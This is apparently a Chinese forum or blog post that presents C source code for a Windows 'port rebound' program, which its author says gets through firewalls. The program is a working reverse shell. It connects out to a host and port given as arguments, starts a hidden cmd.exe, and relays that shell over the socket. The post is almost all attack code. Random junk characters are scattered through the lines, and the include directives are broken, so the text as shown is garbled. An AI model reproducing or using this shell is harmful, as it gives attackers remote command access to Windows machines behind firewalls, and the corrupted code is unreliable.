Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 NMJX `  
u~b;m  
/* ============================== z
v[$N,  
Rebound port in Windows NT ~4gOv  
By wind,2006/7 9O(vh(C  
===============================*/ y,&'nk}  
#include o>4mkh[3  
#include 7\(mn$  
aE aU_f/  
#pragma comment(lib,"wsock32.lib") |w; hu]  
?X $#J'U;  
void OutputShell(); \e)>]C}h  
SOCKET sClient; H(|n,c  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; QjT$.pUd  
f6/<lSoW  
void main(int argc,char **argv) wPr9N}rf  
{ d `MTc  
WSADATA stWsaData; t)qu@m?FZ)  
int nRet; HpLCOY1-  
SOCKADDR_IN stSaiClient,stSaiServer; 9j94]w2v  
-9PJ4"H  
if(argc != 3) xE>jlr?  
{ 6=pE5UfT  
printf("Useage:\n\rRebound DestIP DestPort\n"); OdKfU^  
return; S7!+8$2mc_  
} :zA/~/Wo  
F#b^l}  
WSAStartup(MAKEWORD(2,2),&stWsaData); $G\WW@*GE  
g2RrBK,  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y  J|/^qs  
1R-1#<a>&  
stSaiClient.sin_family = AF_INET; IvZ,|R?  
stSaiClient.sin_port = htons(0); 7{z\^R^O  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @n|Mr/PAj  
-G'U\EXT  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UY5wef2sF  
{ 8'sT zB]  
printf("Bind Socket Failed!\n"); }H5~@c$  
return; 7!qO*r  
} Aj{c s  
CJa`[;i0y  
stSaiServer.sin_family = AF_INET; X&LaAqlSG  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); eW<|I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d/&W[jJ  
)tvP|
 
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hr@kU x  
{ !V^wq]D2  
printf("Connect Error!"); Q6 oM$qiM  
return; `{KdmWhW  
} QjlQsN!  
OutputShell(); !-veL1r  
} mAM:Q*a'  
A:$4cacu9  
void OutputShell() 1fH2obI~X  
{ mOC<a7#  
char szBuff[1024]; 9 _oAs"w  
SECURITY_ATTRIBUTES stSecurityAttributes; Y&uwi:_g  
OSVERSIONINFO stOsversionInfo; \Ota~A  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %f?Z/Wn  
STARTUPINFO stStartupInfo; BHu%x|d  
char *szShell; 41v#|%\w  
PROCESS_INFORMATION stProcessInformation; b!<\#[ A4  
unsigned long lBytesRead; Cut7  
S[;d\Z]~  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F$j?}  
'NNfzh  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |yinVfZ0C  
stSecurityAttributes.lpSecurityDescriptor = 0; gF>t+"+x  
stSecurityAttributes.bInheritHandle = TRUE; 8w$q
4fg0  
L,O.XR  
%a:>3! +  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4aiI&,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %M*2j%6  
ri/CLq^D  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g)1`A24  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bo-L|R&O  
stStartupInfo.wShowWindow = SW_HIDE; MW2{w<-]7  
stStartupInfo.hStdInput = hReadPipe; h e[2,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vD^Uod1  
ny"z<N&}/  
GetVersionEx(&stOsversionInfo); 3UX6Y]E3  
[Y4Wm?  
switch(stOsversionInfo.dwPlatformId) Jr=XVQ
(F  
{ LC4W?']/  
case 1: ] T<#bNK\1  
szShell = "command.com"; W1&"dT@  
break;
8shx7"  
default: 9>@Vk vpY  
szShell = "cmd.exe"; K: |-s4=  
break; h])oo:u'/Q  
} -%dBZW\u2  
a%2K,.J  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); s o7.$]aV  
DLN zH  
send(sClient,szMsg,77,0); q+
BG  
while(1) 3T/&T`T+c  
{ @1A.$:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); '5(T0Ws/w  
if(lBytesRead) h=4 GSU  
{ \hWac%#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?=im~  
send(sClient,szBuff,lBytesRead,0); B- D&1gO  
} Oye6IT"  
else $)eS Gslz  
{ @*roW{?!  
lBytesRead=recv(sClient,szBuff,1024,0); 8O_yZ ~Z4  
if(lBytesRead<=0) break; YkbuyUui  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); HQNpf1=
D  
} c#f@v45  
} 6!se,SCvw  
pL . 0_  
return; \mL]xE-  
}